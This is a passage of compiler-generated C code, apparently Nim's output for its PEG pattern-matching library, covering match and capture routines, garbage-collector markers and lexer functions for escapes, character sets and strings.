(*cX60gensym26_).ml = oldMlX60gensym26__6;
result = ((NI) -1);
}
LA642_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 24):
{
NI idxX60gensym26__2;
idxX60gensym26__2 = (*cX60gensym26_).ml;
(*cX60gensym26_).ml += ((NI) 1);
result = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, pX60gensym26_.sons->data[((NI) 0)], startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(((NI) 0) <= result)) goto LA650_;
{
NI colontmp__6;
NI colontmp__7;
if (!(idxX60gensym26__2 < ((NI) 20))) goto LA654_;
colontmp__6 = startX60gensym26_;
colontmp__7 = (NI)((NI)(startX60gensym26_ + result) - ((NI) 1));
(*cX60gensym26_).matches[(idxX60gensym26__2)- 0].Field0 = colontmp__6;
(*cX60gensym26_).matches[(idxX60gensym26__2)- 0].Field1 = colontmp__7;
}
LA654_: ;
}
goto LA648_;
LA650_: ;
{
(*cX60gensym26_).ml = idxX60gensym26__2;
}
LA648_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25):
{
result = matchBackRef__HsNdIDFjzA9cQdbHEL6NSBg_2(sX60gensym26_, pX60gensym26_, startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 26):
{
result = matchBackRef__HsNdIDFjzA9cQdbHEL6NSBg_2(sX60gensym26_, pX60gensym26_, startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
{
result = matchBackRef__HsNdIDFjzA9cQdbHEL6NSBg_2(sX60gensym26_, pX60gensym26_, startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 32):
{
{
if (!((*cX60gensym26_).origStart == startX60gensym26_)) goto LA663_;
result = ((NI) 0);
}
goto LA661_;
LA663_: ;
{
result = ((NI) -1);
}
LA661_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 30):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 31):
{
}
break;
}
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(NI, npegsrawMatch)(NimStringDesc* s, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ p, NI start, tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ* c) {
NI result;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
result = (NI)0;
result = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(s, p, start, c);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(NI, npegsmatchLenCapture)(NimStringDesc* s, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ pattern, NimStringDesc** matches, NI matchesLen_0, NI start) {
NI result;
tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ c;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
result = (NI)0;
nimZeroMem((void*)(&c), sizeof(tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ));
c.origStart = start;
result = npegsrawMatch(s, pattern, start, (&c));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(((NI) 0) <= result)) goto LA3_;
{
NI kX60gensym565_;
NI colontmp_;
NI res;
kX60gensym565_ = (NI)0;
colontmp_ = (NI)0;
colontmp_ = (NI)(c.ml - ((NI) 1));
res = ((NI) 0);
{
while (1) {
NI startIdxX60gensym565_;
NI endIdxX60gensym565_;
if (!(res <= colontmp_)) goto LA7;
kX60gensym565_ = res;
startIdxX60gensym565_ = c.matches[(kX60gensym565_)- 0].Field0;
endIdxX60gensym565_ = c.matches[(kX60gensym565_)- 0].Field1;
{
if (!!((startIdxX60gensym565_ == ((NI) -1)))) goto LA10_;
matches[kX60gensym565_] = substr__2yh9cer0ymNRHlOOg8P7IuA(s, startIdxX60gensym565_, endIdxX60gensym565_);
}
goto LA8_;
LA10_: ;
{
matches[kX60gensym565_] = ((NimStringDesc*) NIM_NIL);
}
LA8_: ;
res += ((NI) 1);
} LA7: ;
}
}
}
LA3_: ;
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(NIM_BOOL, npegsmatchCapture)(NimStringDesc* s, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ pattern, NimStringDesc** matches, NI matchesLen_0, NI start) {
NIM_BOOL result;
NI T1_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
result = (NIM_BOOL)0;
T1_ = (NI)0;
T1_ = npegsmatchLenCapture(s, pattern, matches, matchesLen_0, start);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
result = !((T1_ == ((NI) -1)));
}BeforeRet_: ;
return result;
}
static N_NIMCALL(void, Marker_tyRef__DWDl83X3sWmMXGYAzF5Aug)(void* p, NI op) {
NU8* a;
a = (NU8*)p;
}
static N_NIMCALL(void, Marker_tySequence__5DSB9bTgCQCsIApS5TVlG8g)(void* p, NI op) {
tySequence__5DSB9bTgCQCsIApS5TVlG8g* a;
NI T1_;
a = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*)p;
T1_ = (NI)0;
for (T1_ = 0; T1_ < (a ? a->Sup.len : 0); T1_++) {
switch (a->data[T1_].kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
nimGCvisit((void*)a->data[T1_].term, op);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
nimGCvisit((void*)a->data[T1_].charChoice, op);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
nimGCvisit((void*)a->data[T1_].nt, op);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
nimGCvisit((void*)a->data[T1_].sons, op);
break;
}
}
}
static N_NIMCALL(void, Marker_tyRef__ne9c8mGWiMWXBIOmu9cRFBTw)(void* p, NI op) {
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* a;
a = (tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*)p;
nimGCvisit((void*)(*a).name, op);
switch ((*a).rule.kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
nimGCvisit((void*)(*a).rule.term, op);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
nimGCvisit((void*)(*a).rule.charChoice, op);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
nimGCvisit((void*)(*a).rule.nt, op);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
nimGCvisit((void*)(*a).rule.sons, op);
break;
}
}
static N_NIMCALL(void, Marker_tySequence__wbtGjaWHe0od6j1oiCOVBQ)(void* p, NI op) {
tySequence__wbtGjaWHe0od6j1oiCOVBQ* a;
NI T1_;
a = (tySequence__wbtGjaWHe0od6j1oiCOVBQ*)p;
T1_ = (NI)0;
for (T1_ = 0; T1_ < (a ? a->Sup.len : 0); T1_++) {
nimGCvisit((void*)a->data[T1_], op);
}
}
N_LIB_PRIVATE N_NIMCALL(void, init__sHzYnQvltM12eWSAM9cw7jw)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L, NimStringDesc* input, NimStringDesc* filename, NI line, NI col) {
(*L).buf = copyString(input);
(*L).bufpos = ((NI) 0);
(*L).lineNumber = line;
(*L).colOffset = col;
(*L).lineStart = ((NI) 0);
(*L).filename = copyString(filename);
}
static N_INLINE(void, nimCopyMem)(void* dest, void* source, NI size) {
void* T1_;
T1_ = (void*)0;
T1_ = memcpy(dest, source, ((size_t) (size)));
}
N_LIB_PRIVATE N_NIMCALL(NI, handleCR__Eyh3ljHjW4sKcIgw9aVUELA)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L, NI pos) {
NI result;
result = (NI)0;
(*L).lineNumber += ((NI) 1);
result = (NI)(pos + ((NI) 1));
{
NIM_BOOL T3_;
T3_ = (NIM_BOOL)0;
T3_ = (result < ((*L).buf ? (*L).buf->Sup.len : 0));
if (!(T3_)) goto LA4_;
T3_ = ((NU8)((*L).buf->data[result]) == (NU8)(10));
LA4_: ;
if (!T3_) goto LA5_;
result += ((NI) 1);
}
LA5_: ;
(*L).lineStart = result;
return result;
}
N_LIB_PRIVATE N_NIMCALL(NI, handleLF__Eyh3ljHjW4sKcIgw9aVUELA_2)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L, NI pos) {
NI result;
result = (NI)0;
(*L).lineNumber += ((NI) 1);
result = (NI)(pos + ((NI) 1));
(*L).lineStart = result;
return result;
}
N_LIB_PRIVATE N_NIMCALL(void, skip__9bScc7MO8VP7aEapK3GqXvw)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c) {
NI pos;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
pos = (*c).bufpos;
{
while (1) {
if (!(pos < ((*c).buf ? (*c).buf->Sup.len : 0))) goto LA2;
switch (((NU8)((*c).buf->data[pos]))) {
case 32:
case 9:
{
pos += ((NI) 1);
}
break;
case 35:
{
{
while (1) {
NIM_BOOL T7_;
T7_ = (NIM_BOOL)0;
T7_ = (pos < ((*c).buf ? (*c).buf->Sup.len : 0));
if (!(T7_)) goto LA8_;
T7_ = !((((NU8)((*c).buf->data[pos])) == ((NU8)(13)) || ((NU8)((*c).buf->data[pos])) == ((NU8)(10)) || ((NU8)((*c).buf->data[pos])) == ((NU8)(0))));
LA8_: ;
if (!T7_) goto LA6;
pos += ((NI) 1);
} LA6: ;
}
}
break;
case 13:
{
pos = handleCR__Eyh3ljHjW4sKcIgw9aVUELA(c, pos);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case 10:
{
pos = handleLF__Eyh3ljHjW4sKcIgw9aVUELA_2(c, pos);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
default:
{
goto LA1;
}
break;
}
} LA2: ;
} LA1: ;
(*c).bufpos = pos;
}BeforeRet_: ;
}
static N_INLINE(void, copyMem__i80o3k0SgEI5gTRCzYdyWAsystem)(void* dest, void* source, NI size) {
nimCopyMem(dest, source, size);
}
static N_INLINE(void, appendString)(NimStringDesc* dest, NimStringDesc* src) {
{
void* T5_;
void* T6_;
if (!!((src == NIM_NIL))) goto LA3_;
T5_ = (void*)0;
T5_ = ((void*) ((&(*dest).data[(*dest).Sup.len])));
T6_ = (void*)0;
T6_ = ((void*) ((*src).data));
copyMem__i80o3k0SgEI5gTRCzYdyWAsystem(T5_, T6_, ((NI) ((NI)((*src).Sup.len + ((NI) 1)))));
(*dest).Sup.len += (*src).Sup.len;
}
LA3_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, handleHexChar__NSvL0y9aEFOo8fCyOplOY4w)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, NI* xi) {
switch (((NU8)((*c).buf->data[(*c).bufpos]))) {
case 48 ... 57:
{
(*xi) = (NI)((NI)((NU64)((*xi)) << (NU64)(((NI) 4))) | (NI)(((NU8)((*c).buf->data[(*c).bufpos])) - ((NI) 48)));
(*c).bufpos += ((NI) 1);
}
break;
case 97 ... 102:
{
(*xi) = (NI)((NI)((NU64)((*xi)) << (NU64)(((NI) 4))) | (NI)((NI)(((NU8)((*c).buf->data[(*c).bufpos])) - ((NI) 97)) + ((NI) 10)));
(*c).bufpos += ((NI) 1);
}
break;
case 65 ... 70:
{
(*xi) = (NI)((NI)((NU64)((*xi)) << (NU64)(((NI) 4))) | (NI)((NI)(((NU8)((*c).buf->data[(*c).bufpos])) - ((NI) 65)) + ((NI) 10)));
(*c).bufpos += ((NI) 1);
}
break;
default:
{
}
break;
}
}
N_LIB_PRIVATE N_NIMCALL(void, getEscapedChar__zUGRkOORbt8wzxyKxNHYHg_3)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
(*c).bufpos += ((NI) 1);
{
if (!(((*c).buf ? (*c).buf->Sup.len : 0) <= (*c).bufpos)) goto LA3_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
goto BeforeRet_;
}
LA3_: ;
switch (((NU8)((*c).buf->data[(*c).bufpos]))) {
case 114:
case 82:
case 99:
case 67:
{
(*tok).literal = addChar((*tok).literal, 13);
(*c).bufpos += ((NI) 1);
}
break;
case 108:
case 76:
{
(*tok).literal = addChar((*tok).literal, 10);
(*c).bufpos += ((NI) 1);
}
break;
case 102:
case 70:
{
(*tok).literal = addChar((*tok).literal, 12);
(*c).bufpos += ((NI) 1);
}
break;
case 101:
case 69:
{
(*tok).literal = addChar((*tok).literal, 27);
(*c).bufpos += ((NI) 1);
}
break;
case 97:
case 65:
{
(*tok).literal = addChar((*tok).literal, 7);
(*c).bufpos += ((NI) 1);
}
break;
case 98:
case 66:
{
(*tok).literal = addChar((*tok).literal, 8);
(*c).bufpos += ((NI) 1);
}
break;
case 118:
case 86:
{
(*tok).literal = addChar((*tok).literal, 11);
(*c).bufpos += ((NI) 1);
}
break;
case 116:
case 84:
{
(*tok).literal = addChar((*tok).literal, 9);
(*c).bufpos += ((NI) 1);
}
break;
case 120:
case 88:
{
NI xi;
(*c).bufpos += ((NI) 1);
{
if (!(((*c).buf ? (*c).buf->Sup.len : 0) <= (*c).bufpos)) goto LA16_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
goto BeforeRet_;
}
LA16_: ;
xi = ((NI) 0);
handleHexChar__NSvL0y9aEFOo8fCyOplOY4w(c, (&xi));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
handleHexChar__NSvL0y9aEFOo8fCyOplOY4w(c, (&xi));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(xi == ((NI) 0))) goto LA20_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
}
goto LA18_;
LA20_: ;
{
(*tok).literal = addChar((*tok).literal, ((NIM_CHAR) (((NI) (xi)))));
}
LA18_: ;
}
break;
case 48 ... 57:
{
NI val;
NI i;
val = (NI)(((NU8)((*c).buf->data[(*c).bufpos])) - ((NI) 48));
(*c).bufpos += ((NI) 1);
i = ((NI) 1);
{
while (1) {
NIM_BOOL T26_;
NIM_BOOL T27_;
T26_ = (NIM_BOOL)0;
T27_ = (NIM_BOOL)0;
T27_ = ((*c).bufpos < ((*c).buf ? (*c).buf->Sup.len : 0));
if (!(T27_)) goto LA28_;
T27_ = (i <= ((NI) 3));
LA28_: ;
T26_ = T27_;
if (!(T26_)) goto LA29_;
T26_ = (((NU8)((*c).buf->data[(*c).bufpos])) >= ((NU8)(48)) && ((NU8)((*c).buf->data[(*c).bufpos])) <= ((NU8)(57)));
LA29_: ;
if (!T26_) goto LA25;
val = (NI)((NI)((NI)(val * ((NI) 10)) + ((NU8)((*c).buf->data[(*c).bufpos]))) - ((NI) 48));
(*c).bufpos += ((NI) 1);
i += ((NI) 1);
} LA25: ;
}
{
NIM_BOOL T32_;
T32_ = (NIM_BOOL)0;
T32_ = (((NI) 0) < val);
if (!(T32_)) goto LA33_;
T32_ = (val <= ((NI) 255));
LA33_: ;
if (!T32_) goto LA34_;
(*tok).literal = addChar((*tok).literal, ((NIM_CHAR) (((NI) (val)))));
}
goto LA30_;
LA34_: ;
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
}
LA30_: ;
}
break;
case 0 ... 31:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
}
break;
default:
{
{
if (!(((NU8)((*c).buf->data[(*c).bufpos])) >= ((NU8)(65)) && ((NU8)((*c).buf->data[(*c).bufpos])) <= ((NU8)(90)) || ((NU8)((*c).buf->data[(*c).bufpos])) >= ((NU8)(97)) && ((NU8)((*c).buf->data[(*c).bufpos])) <= ((NU8)(122)))) goto LA41_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
}
goto LA39_;
LA41_: ;
{
(*tok).literal = addChar((*tok).literal, (*c).buf->data[(*c).bufpos]);
(*c).bufpos += ((NI) 1);
}
LA39_: ;
}
break;
}
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, getCharSet__zUGRkOORbt8wzxyKxNHYHg_2)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok) {
NI pos;
NIM_BOOL caret;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 6);
nimCopyMem((void*)(*tok).charset, (NIM_CONST void*)TM__YGOrctedenU9ao6jM7xmy6g_18, 32);
pos = (NI)((*c).bufpos + ((NI) 1));
caret = NIM_FALSE;
{
if (!(pos < ((*c).buf ? (*c).buf->Sup.len : 0))) goto LA3_;
{
if (!((NU8)((*c).buf->data[pos]) == (NU8)(94))) goto LA7_;
pos += ((NI) 1);
caret = NIM_TRUE;
}
LA7_: ;
{
while (1) {
NIM_CHAR ch;
if (!(pos < ((*c).buf ? (*c).buf->Sup.len : 0))) goto LA10;
ch = (NIM_CHAR)0;
switch (((NU8)((*c).buf->data[pos]))) {
case 93:
{
{
if (!(pos < ((*c).buf ? (*c).buf->Sup.len : 0))) goto LA14_;
pos += ((NI) 1);
}
LA14_: ;
goto LA9;
}
break;
case 92:
{
(*c).bufpos = pos;
getEscapedChar__zUGRkOORbt8wzxyKxNHYHg_3(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
pos = (*c).bufpos;
ch = (*tok).literal->data[(NI)(((*tok).literal ? (*tok).literal->Sup.len : 0) - ((NI) 1))];
}
break;
case 13:
case 10:
case 0:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
goto LA9;
}
break;
default:
{
ch = (*c).buf->data[pos];
pos += ((NI) 1);
}
break;
}
(*tok).charset[(NU)(((NU8)(ch)))>>3] |=(1U<<(((NU8)(ch))&7U));
{
if (!((NU8)((*c).buf->data[pos]) == (NU8)(45))) goto LA21_;
{
NIM_BOOL T25_;
T25_ = (NIM_BOOL)0;
T25_ = ((NI)(pos + ((NI) 1)) < ((*c).buf ? (*c).buf->Sup.len : 0));
if (!(T25_)) goto LA26_;
T25_ = ((NU8)((*c).buf->data[(NI)(pos + ((NI) 1))]) == (NU8)(93));
LA26_: ;
if (!T25_) goto LA27_;
(*tok).charset[(NU)(((NU8)(45)))>>3] |=(1U<<(((NU8)(45))&7U));
pos += ((NI) 1);
}
goto LA23_;
LA27_: ;
{
NIM_CHAR ch2;
{
if (!((NI)(pos + ((NI) 1)) < ((*c).buf ? (*c).buf->Sup.len : 0))) goto LA32_;
pos += ((NI) 1);
}
goto LA30_;
LA32_: ;
{
goto LA9;
}
LA30_: ;
ch2 = (NIM_CHAR)0;
switch (((NU8)((*c).buf->data[pos]))) {
case 92:
{
(*c).bufpos = pos;
getEscapedChar__zUGRkOORbt8wzxyKxNHYHg_3(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
pos = (*c).bufpos;
ch2 = (*tok).literal->data[(NI)(((*tok).literal ? (*tok).literal->Sup.len : 0) - ((NI) 1))];
}
break;
case 13:
case 10:
case 0:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
goto LA9;
}
break;
default:
{
{
if (!((NI)(pos + ((NI) 1)) < ((*c).buf ? (*c).buf->Sup.len : 0))) goto LA40_;
ch2 = (*c).buf->data[pos];
pos += ((NI) 1);
}
goto LA38_;
LA40_: ;
{
goto LA9;
}
LA38_: ;
}
break;
}
{
NI i;
NI colontmp_;
NI colontmp__2;
NI res;
i = (NI)0;
colontmp_ = (NI)0;
colontmp__2 = (NI)0;
colontmp_ = (NI)(((NU8)(ch)) + ((NI) 1));
colontmp__2 = ((NU8)(ch2));
res = colontmp_;
{
while (1) {
if (!(res <= colontmp__2)) goto LA45;
i = res;
(*tok).charset[(NU)(((NU8)(((NIM_CHAR) (((NI) (i)))))))>>3] |=(1U<<(((NU8)(((NIM_CHAR) (((NI) (i))))))&7U));
res += ((NI) 1);
} LA45: ;
}
}
}
LA23_: ;
}
LA21_: ;
} LA10: ;
} LA9: ;
}
LA3_: ;
(*c).bufpos = pos;
{
NI T50_;
if (!caret) goto LA48_;
T50_ = (NI)0;
for (T50_ = 0; T50_ < 32; T50_++)
(*tok).charset[T50_] = TM__YGOrctedenU9ao6jM7xmy6g_21[T50_] & ~ (*tok).charset[T50_];
}
LA48_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, getSymbol__zUGRkOORbt8wzxyKxNHYHg_5)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok) {
NI pos;
pos = (*c).bufpos;
{
while (1) {
if (!(pos < ((*c).buf ? (*c).buf->Sup.len : 0))) goto LA2;
(*tok).literal = addChar((*tok).literal, (*c).buf->data[pos]);
pos += ((NI) 1);
{
NIM_BOOL T5_;
T5_ = (NIM_BOOL)0;
T5_ = (pos < ((*c).buf ? (*c).buf->Sup.len : 0));
if (!(T5_)) goto LA6_;
T5_ = !((((NU8)((*c).buf->data[pos])) >= ((NU8)(97)) && ((NU8)((*c).buf->data[pos])) <= ((NU8)(122)) || ((NU8)((*c).buf->data[pos])) >= ((NU8)(65)) && ((NU8)((*c).buf->data[pos])) <= ((NU8)(90)) || ((NU8)((*c).buf->data[pos])) >= ((NU8)(48)) && ((NU8)((*c).buf->data[pos])) <= ((NU8)(57)) || ((NU8)((*c).buf->data[pos])) == ((NU8)(95))));
LA6_: ;
if (!T5_) goto LA7_;
goto LA1;
}
LA7_: ;
} LA2: ;
} LA1: ;
(*c).bufpos = pos;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 4);
}
N_LIB_PRIVATE N_NIMCALL(void, getBuiltin__zUGRkOORbt8wzxyKxNHYHg_4)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
{
NIM_BOOL T3_;
T3_ = (NIM_BOOL)0;
T3_ = ((NI)((*c).bufpos + ((NI) 1)) < ((*c).buf ? (*c).buf->Sup.len : 0));
if (!(T3_)) goto LA4_;
T3_ = (((NU8)((*c).buf->data[(NI)((*c).bufpos + ((NI) 1))])) >= ((NU8)(65)) && ((NU8)((*c).buf->data[(NI)((*c).bufpos + ((NI) 1))])) <= ((NU8)(90)) || ((NU8)((*c).buf->data[(NI)((*c).bufpos + ((NI) 1))])) >= ((NU8)(97)) && ((NU8)((*c).buf->data[(NI)((*c).bufpos + ((NI) 1))])) <= ((NU8)(122)));
LA4_: ;
if (!T3_) goto LA5_;
(*c).bufpos += ((NI) 1);
getSymbol__zUGRkOORbt8wzxyKxNHYHg_5(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 20);
}
goto LA1_;
LA5_: ;
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 21);
getEscapedChar__zUGRkOORbt8wzxyKxNHYHg_3(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA1_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, getString__zUGRkOORbt8wzxyKxNHYHg_6)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok) {
NI pos;
NIM_CHAR quote;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 5);
pos = (NI)((*c).bufpos + ((NI) 1));
quote = (*c).buf->data[(NI)(pos - ((NI) 1))];
{
while (1) {
if (!(pos < ((*c).buf ? (*c).buf->Sup.len : 0))) goto LA2;
switch (((NU8)((*c).buf->data[pos]))) {
case 92:
{
(*c).bufpos = pos;
getEscapedChar__zUGRkOORbt8wzxyKxNHYHg_3(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
pos = (*c).bufpos;
}
break;
case 13:
case 10:
case 0:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
goto LA1;
}
break;
default:
{
{
if (!((NU8)((*c).buf->data[pos]) == (NU8)(quote))) goto LA8_;
pos += ((NI) 1);
goto LA1;
}
goto LA6_;
LA8_: ;
{
(*tok).literal = addChar((*tok).literal, (*c).buf->data[pos]);
pos += ((NI) 1);
}
LA6_: ;
}
break;
}
} LA2: ;
} LA1: ;
(*c).bufpos = pos;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, getDollar__zUGRkOORbt8wzxyKxNHYHg_7)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok) {
NI pos;
pos = (NI)((*c).bufpos + ((NI) 1));
{
NIM_BOOL T3_;
T3_ = (NIM_BOOL)0;
T3_ = (pos < ((*c).buf ? (*c).buf->Sup.len : 0));
if (!(T3_)) goto LA4_;
T3_ = (((NU8)((*c).buf->data[pos])) >= ((NU8)(48)) && ((NU8)((*c).buf->data[pos])) <= ((NU8)(57)));
LA4_: ;
if (!T3_) goto LA5_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 22);
(*tok).index = ((NI) 0);
{
while (1) {
NIM_BOOL T9_;
T9_ = (NIM_BOOL)0;
T9_ = (pos < ((*c).buf ? (*c).buf->Sup.len : 0));
if (!(T9_)) goto LA10_;
T9_ = (((NU8)((*c).buf->data[pos])) >= ((NU8)(48)) && ((NU8)((*c).buf->data[pos])) <= ((NU8)(57)));
LA10_: ;
if (!T9_) goto LA8;
(*tok).index = (NI)((NI)((NI)((*tok).index * ((NI) 10)) + ((NU8)((*c).buf->data[pos]))) - ((NI) 48));
pos += ((NI) 1);
} LA8: ;
}
}
goto LA1_;
LA5_: ;
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 23);
}
LA1_: ;
(*c).bufpos = pos;
}
static N_INLINE(int, nimCmpMem)(void* a, void* b, NI size) {
int result;
result = (int)0;
result = memcmp(a, b, ((size_t) (size)));
return result;
}
static N_INLINE(NIM_BOOL, equalMem__9bGgqEk7RXXl6eqM9c1HdELAsystem)(void* a, void* b, NI size) {
NIM_BOOL result;
int T1_;
result = (NIM_BOOL)0;
T1_ = (int)0;
T1_ = nimCmpMem(a, b, size);
result = (T1_ == ((NI32) 0));
return result;
}
static N_INLINE(NIM_BOOL, eqStrings)(NimStringDesc* a, NimStringDesc* b) {
NIM_BOOL result;
NI alen;
NI blen;
{ result = (NIM_BOOL)0;
alen = (a ? a->Sup.len : 0);
blen = (b ? b->Sup.len : 0);
{
if (!(alen == blen)) goto LA3_;
{
if (!(alen == ((NI) 0))) goto LA7_;
result = NIM_TRUE;
goto BeforeRet_;
}
LA7_: ;
result = equalMem__9bGgqEk7RXXl6eqM9c1HdELAsystem(((void*) ((&a->data[((NI) 0)]))), ((void*) ((&b->data[((NI) 0)]))), ((NI) (alen)));
goto BeforeRet_;
}
LA3_: ;
}BeforeRet_: ;
return result;
}
